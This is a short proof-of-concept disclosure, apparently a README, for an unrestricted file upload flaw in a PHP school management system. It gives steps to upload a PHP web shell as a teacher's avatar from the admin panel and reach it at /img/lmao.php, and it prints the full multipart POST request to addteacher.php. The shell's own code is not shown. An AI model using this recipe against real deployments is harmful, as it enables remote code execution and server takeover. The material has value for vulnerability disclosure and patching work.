# sms-Unrestricted-File-Upload-RCE-POC # Author: D4rkP0w4r * Description -> Upload web shell at avartar teacher in admin panel # Step to Reproduct Login to admin -> Teacher -> Add Teacher -> upload web shell at avartar teacher -> Add Teacher # Exploit * Upload web shell at avartar teacher When upload success access /img/lmao.php * Web shell active # Vulnerable Code * No file checking before uploading # POC * Injection Point ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="image"; filename="lmao.php" Content-Type: application/octet-stream ``` * Request ```c POST /sms/admin/addteacher.php HTTP/1.1 Host: localhost:8080 Content-Length: 179471 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXSGCBlGpXtuLxTWk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/sms/admin/addteacher.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k Connection: close ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="image"; filename="lmao.php" Content-Type: application/octet-stream ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="name" root ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="email" haha@gmail.com ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="contact" 123 ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="position" Teacher ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="password" 1 ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="address" USA ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="gender" male ------WebKitFormBoundaryXSGCBlGpXtuLxTWk Content-Disposition: form-data; name="submit" ------WebKitFormBoundaryXSGCBlGpXtuLxTWk-- * POC VIDEO https://drive.google.com/file/d/10vgciE0FwkZpzLZf9JSGGyvq3hwehXMs/view?usp=sharing